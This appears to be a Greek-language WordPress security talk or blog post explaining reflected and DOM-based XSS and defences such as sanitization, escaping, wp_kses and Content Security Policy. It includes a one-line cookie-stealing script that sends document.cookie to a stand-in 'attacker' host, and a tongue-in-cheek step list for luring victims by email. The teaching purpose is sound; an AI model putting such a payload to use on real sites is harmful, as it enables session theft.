να προστατευτείτε ΤΑΚΗ, ΜΗΝ ΑΝΟΙΞΕΙΣ ΑΥΤΟ ΤΟ EMAIL Γιατί επέλεξα να αναλύσω τις επιθέσεις XSS (Ή αλλιώς πως να κρατήσετε ένα κενό ασφαλείας ζωντανό για πάνω από 27 χρόνια)
ουσία, client-side code injections οι οποίες συνήθως στοχεύουν web applications όπου ο θύτης δεν επιτίθεται στο θύμα του απευθείας αλλά το αναγκάζει να τρέξει μολυσμένο περιεχόμενο από ένα νόμιμο και καθαρό (μάλλον όχι και τόσο) site. Αυτό επιτρέπει στον επιτιθέμενο να παρακάμψει στοιχεία ασφάλειας όπως η same-origin policy. Βήμα 1ο Βρείτε το site που θέλετε να είναι ο συνεργός σας (FACEBOOK, I choose YOU) Βήμα 2ο Βρείτε το θύμα σας Βήμα 3ο Στείλτε ένα email στο θύμα σας Βήμα 4ο Αφήστε το Facebook να κάνει όλη την δουλειά (Περίπου)
Javascript στο site μου? ΩΩΩΩ Ναι! Η javascript έχει πρόσβαση σε: Όλα τα objects που έχει μία ιστοσελίδα. Όπως Cookies. Έχει read & write access στο DOM του browser. Μπορεί να χρησιμοποιήσει XMLHttpRequest για να στείλει... HTTP requests με σχεδόν οποιοδήποτε περιεχόμενο σε οποιοδήποτε προορισμό. Στους μοντέρνους browsers μπορεί να χρησιμοποιήσει HTML5 APIs για να αποκτήσει πρόσβαση σε geolocation, web cameras και μικρόφωνα καθώς και σε συγκεκριμένα αρχεία στο σύστημα του χρήστη. Όλα αυτά σε συνδυασμό με λίγο social engineering έχουν φανταστικά αποτελέσματα (αν δεν είσαι το θύμα)
κάποιος χρησιμοποιεί το site σας για να κλέψει authentication tokens των χρηστών σας (και το δικό σας), τότε το site σας δεν έχει επαρκεί ασφάλεια και είναι συνεργός στην όλη πράξη.
<script> window.location='http://attacker/?cookie='+document.cookie </script> Αυτό το script στέλνει τον browser του Χρήστη σε ένα διαφορετικό URL από αυτό που θέλει και κάνει ένα HTTP Request στον server του επιτιθέμενου. Παράλληλα, περιέχει και τα cookies του Χρήστη στο request. Αφού ο επιτιθέμενος παραλάβει τα cookies μπορεί να συνδεθεί με την ταυτότητα του Χρήστη στο site που είχε επισκεφτεί πιο πριν και να συνεχίσει τις επιθέσεις του από εκεί.
χρειάζονται την βοήθεια του θύματος για να είναι αποτελεσματικές. Είναι, όμως, ΠΟΛΥ αποτελεσματικές. Συνήθως γίνονται με 2 τρόπους: Ο επιτιθέμενος έχει έναν συγκεκριμένο στόχο και του στέλνει το μολυσμένο URL είτε με email είτε με κάποια άλλη υπηρεσία (π.χ. Facebook) και τον εξαπατά ώστε να το πατήσει. Ο επιτιθέμενος θέλει να πατήσουν το link όσο το δυνατόν περισσότεροι χρήστες. Το ποστάρει, λοιπόν, στο site του ή σε ένα social network (π.χ. Facebook. Ναι, το συμπαθώ όπως βλέπετε). Αυτός ο τρόπος μπορεί να είναι ακόμα πιο αποτελεσματικός αν χρησιμοποιηθεί κάποια υπηρεσία για την σμίκρυνση του URL.
ο server του site εισάγει τον κώδικα Javascript στην απάντηση που στέλνει στο request του χρήστη. Όταν ο browser του χρήστη παίρνει την απάντηση του server, υποθέτει ότι ο κακός κώδικας έιναι κομμάτι της σελίδας και το τρέχει μαζί με τα υπόλοιπα scripts της σελίδας. Στις DOM-based επιθέσεις δεν υπάρχει κακός κώδικας στην απάντηση του server. Η απάντηση εμφανίζεται κανονικά στον browser του χρήστη. Όμως, επειδή το νόμιμο script χρησιμοποιεί user input για να φτιάξει την HTML της σελίδας και το κακό script έχει μπεί σαν innerHTML ενεργοποιείται σε αυτή την περίπτωση κάνοντας ζημιά στον χρήστη.
όταν φορτώνεται η σελίδα σαν κομμάτι HTML που έχει στείλει ο server. Στις DOM-based επιθέσεις το script εκτελείται αφού έχει φορτώσει η σελίδα. Το νόμιμο κομμάτι Javascript της σελίδας χειρίζεται κάποιο user input με λάθος τρόπο δημιουργώντας το κενό ασφαλείας.
παραδείγματα, ο server-side κώδικας ήταν αυτός που είχε το κενό ασφαλείας που μπορούσε να εκμεταλευτεί ο επιτιθέμενος. Αν ο κώδικας ήταν σωστός, η επίθεση θα ήταν ανεπιτυχείς. Οι νέες εφαρμογές χρησιμοποιούν όλο και περισσότερο Javascript για να δημιουργήσουν HTML client-side (π.χ. Κάθε φορά που ένα κομμάτι του περιεχομένου μίας σελίδας πρέπει να ανανεωθεί χωρίς να ανανεωθεί όλη η σελίδα χρησιμοποιούμε AJAX. Αυτό σημαίνει ότι, πλέον, όσο δυνατός και αν είναι ο server-side κώδικας σας δεν έχει καμία σημασία. Το κενό ασφαλείας μπορεί να βρίσκεται στην client- side μεριά της συναλλαγής.
αλλάξω επάγγελμα! Ευτυχώς, υπάρχουν τρόποι για να προστατευτούμε από αυτές τις επιθέσεις. Οι μέθοδοι προστασίας είναι 2: Sanitization και Escaping Validation
έχουν αρκετές functions για να κάνουν και sanitization και escaping. Θα παρατηρήσετε ότι χρησιμοποιώ πολύ την filter_var() αντί για παλαιότερες functions. Μετά την έκδοση 5.2 αυτή είναι η προτιμότερη. Context Inbound/Outbound Παρακάτω ακολουθούν κάποια παραδείγματα:
positive integers sanitize_email(“!#$%^&*()__+=- {}|\][:\”\’;<>?/.,[email protected]”) !#$%^&*__+=- {}|’?/[email protected] Sanitize email addresses sanitize_file_name(‘.-_/path/to/file– name.txt’); pathtofile-name.txt Sanitize filenames sanitize_html_class(‘class!@#$%^&*()- name_here.’); class-name_here Sanitize CSS class names sanitize_key(‘KeY- Name!@#$%^&*()<>,.?/’); key-name Sanitize keys for associative arrays. sanitize_mime_type(‘text/plain- blah!@#$%^&*()}{[]”:;><,.?/’); text/plain-blah*./ Sanitize mime types sanitize_option(‘thumbnail_size_h’, ‘123ABC-_’); 123 Sanitize WP option. Filtering type depends on option name sanitize_sql_orderby(‘colName’); colName Sanitize a column name used in SQL ‘order by’. Returns blank if invalid chars found sanitize_text_field(‘<tag>some text</tag>’) some text Checks for invalid UTF-8, Convert single < characters to entity, strip all tags, remove line breaks, tabs and extra white space, strip octets. sanitize_title(‘<tag><?php //blah ?>Title here’); title-here Turns text into a slug-style title for use in a URL. sanitize_user(‘<tag>123ABCdef _.- *@name!#$’, true); 123ABCdef _ .-@name Sanitize WP usernames. Second param enables strict sanitization.
<tag> & text Escape HTML for safe browser output esc_url(‘http://example.com/ <script>alert(“TEST”);</script>’); http://example.com/ scriptalert(TEST);/script Escape URLs to make them safe for output as text or HTML attributes esc_js(‘alert(“1”);’); alert("1"); Escapes Javascript to make it safe for inline HTML use e.g. in onclick handler esc_attr(‘attr-<>&\'”name’); attr- <>&'"nam e Use to escape HTML attributes e.g. alt, title, value, etc esc_textarea(‘Text <tag> & text’); Text <tag> & text Escape text for output in <textarea> element
sanitization function. Παίρνει το όνομα της από το “kses strips evil scripts”. Όταν χρησιμοποιείτε την kses θα χρειαστεί να ορίσετε έναν πίνακα με τα tags που θέλετε να ελέγχει η kses καθώς και τα attributes που επιτρέπονται για κάθε tag. Για παράδειγμα: Sanitization order: PHP>Wordpress>Kses 1 $allowed = array( 2 'a' => array( 'href' => array(), 'title' => array() ), 3 'br' => array(), 4 'em' => array(), 5 'strong' => array(), 6 ); 7 8 echo wp_kses($output, $allowed);
να χρησιμοποιήσετε whitelisting με sanitization φροντίστε οι functions που χρησιμοποιείτε να μην κάνουν blacklisting. Κάτι που, υπό κανονικές συνθήκες δεν θα περνούσε το whitelisting, μπορεί να περάσει το sanitization και τελικά να εκτελεστεί κώδικας που δεν θέλουμε και θα κάνει ζημιά.
πρέπει να είναι η πρώτη γραμμή άμυνας. Άλλωστε ο σκοπός της είναι να αλλάζει τις εντολές ώστε να φαίνονται σαν απλά δεδομένα και όχι κώδικάς.Σε κάποιες περιπτώσεις πρέπει να χρησιμοποιηθεί μαζί με validation για να είναι αποτελεσματική. Η κωδικοποίηση πρέπει να επικεντρώνεται σε outbound εντολές. Η δεύτερη γραμμή άμυνας είναι η κωδικοποίηση inbound δεδομένων τα οποία είναι προφανώς λανθασμένα (όπως links που χρησιμοποιούν το πρωτόκολλο Javascript. Χρησιμοποιώντας αυτές τις δύο γραμμές άμυνας το site σας θα είναι ασφαλές από επιθέσεις XSS. Όμως, η συντήρηση ενός site είναι πολύπλοκη και η διατήρηση της ασφάλειας χρησιμοποιώντας μόνο user input είναι δύκολη. Σαν μία τρίτη γραμμή άμυνας μπορείτε να χρησιμοποιήσετε την Content Security Policy (CSP).
μόνο με secure input handling είναι ότι αν, για οποιοδήποτε λόγο, περάσει κάτι που δεν πρέπει έχετε χάσει όλο το site. Η CSP μπορεί να μειώσει αυτό το ρίσκο σημαντικά. Λειτουργεί περιορίζοντας τα resources που μπορεί να χρησιμοποιήσει ένας browser. Τον αναγκάζει, έτσι, να χρησιμοποιεί resources μόνο από trusted sources. Αυτό σημαίνει ότι ακόμα και αν περάσει κάτι από την άμυνα σας, δεν θα εκτελεστεί ποτέ.
Ο browser δεν εκτελεί το malicious-script.js γιατί ο http://attacker/ δεν είναι trusted source Ακόμη και αν ο επιτιθέμενος είχε βάλει ολόκληρο το script εκεί και πάλι δεν θα έκανε καμία ζημιά γιατί η CSP δεν επιτρέπει την εκτέλεση inline Javascipt
wpgr
bcantrill
bkeepers
lauravandoore
shpigford
tammyeverts
honnibal
marktimemedia
notwaldorf
holman
mongodb
danielanewman
morganepeng
